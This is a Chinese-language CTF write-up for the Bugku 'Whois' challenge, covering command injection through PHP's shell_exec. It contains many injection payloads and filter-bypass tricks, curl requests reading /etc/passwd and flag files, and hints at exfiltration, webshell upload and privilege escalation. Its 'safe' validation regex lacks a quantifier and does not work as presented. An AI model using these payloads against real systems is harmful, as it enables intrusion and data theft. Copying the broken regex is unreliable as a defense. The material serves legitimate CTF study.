
1. 题目背景与初步分析Whois这道CTF题目来自Bugku平台属于典型的Web安全挑战。从题目名称和热词关联来看这很可能是一个涉及域名信息查询Whois与PHP代码执行的综合题型。这类题目通常会考察以下几个技术点Whois协议的基本工作原理PHP中执行系统命令的函数如shell_exec正则表达式在安全过滤中的应用命令注入的常见防御与绕过技巧在实际CTF比赛中Whois类题目往往需要选手通过精心构造的输入利用服务器对whois查询结果的处理漏洞最终获取flag或实现远程代码执行。根据我的参赛经验这类题目的突破点通常出现在以下几个环节输入验证不严格导致命令注入正则表达式过滤存在逻辑缺陷返回结果处理时存在信息泄露权限控制不当导致提权可能2. Whois协议基础与相关工具Whois是一种用于查询域名注册信息的TCP协议默认使用43端口。在Linux系统中我们可以通过以下方式使用whois命令whois example.com在PHP环境中开发者可能会使用以下方式集成whois查询功能$domain $_GET[domain]; $result shell_exec(whois $domain); echo $result;这种实现方式看似简单但隐藏着严重的安全风险。当用户输入的$domain参数未经严格过滤就直接拼接进shell命令时攻击者可以通过注入特殊字符如;、|、等执行任意命令。实际CTF环境中题目往往会设置一些基础的过滤机制这就需要我们研究如何绕过这些安全限制。3. 常见命令注入技术分析在解决Whois这类题目时我们需要系统性地尝试各种命令注入技术。以下是几种典型的测试方法3.1 基础注入测试首先尝试最简单的命令分隔符example.com; ls如果分号被过滤可以尝试其他分隔符example.com ls example.com | ls example.com || ls3.2 绕过空格限制当空格被过滤时可以使用以下替代方案example.com;cat${IFS}/etc/passwd example.com;cat/etc/passwd example.com;{cat,/etc/passwd}3.3 绕过关键词过滤如果常见命令如cat、ls被过滤可以尝试使用反斜杠转义c\at使用变量替换ac;ba;ct;$a$b$c使用通配符/???/c?t使用base64编码echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash4. PHP正则表达式过滤与绕过从热词分析来看这道题目很可能涉及PHP正则表达式的使用。开发者可能会用preg_match等函数进行输入过滤if(preg_match(/[;|]/, $domain)) { die(非法字符); }针对这种过滤我们可以尝试以下绕过方法4.1 使用未过滤的字符example.com%0als example.com$(ls) example.comls4.2 编码绕过example.com$(printf \x6c\x73) example.com$(echo ls | xxd -r -p)4.3 利用环境变量example.com${PATH:0:1}${PATH:1:1}5. 实战解题步骤基于以上分析我建议按照以下步骤尝试解决这道题目基础信息收集访问题目提供的URL查看页面源代码尝试提交基础whois查询观察返回结果格式使用Burp Suite拦截请求分析参数传递方式注入测试# 测试命令分隔符 curl http://target.com/?domainexample.com;ls # 测试空格绕过 curl http://target.com/?domainexample.com;cat${IFS}flag.php # 测试关键词过滤绕过 curl http://target.com/?domainexample.com;c\at${IFS}fla*.php结果处理如果返回结果中包含部分命令输出但被截断尝试使用curl将结果外带如果命令执行成功但无回显尝试延时判断sleep 5使用DNS外带技术确认命令执行获取flag通常flag位于当前目录或/var/www/html下尝试读取源代码cat index.php如果遇到权限问题尝试查找可写目录上传webshell6. 防御措施与安全建议从防御角度开发者应该避免直接使用shell_exec等危险函数使用escapeshellarg处理所有用户输入实施白名单验证域名格式使用专门的whois库而非系统命令设置PHP的disable_functions关闭危险函数安全示例代码function safe_whois($domain) { if(!preg_match(/^[a-z0-9\-\.]$/i, $domain)) { return false; } $clean_domain escapeshellarg($domain); return shell_exec(whois $clean_domain); }7. 进阶技巧与经验分享在实际CTF比赛中我总结出几个有用的技巧多角度测试不要局限于一种注入方式尝试各种分隔符和编码组合环境探测执行env命令了解服务器环境有助于针对性构造payload文件定位使用find / -name *flag*快速定位目标文件权限提升检查sudo权限、SUID文件等提权可能性日志分析查看/var/log/下的日志文件获取额外信息一个典型的完整payload可能如下example.com;cat$(printf \x20)/var/www/html/fla*.php这种payload结合了命令分隔符、空格绕过和通配符技术能够有效绕过基础的过滤机制。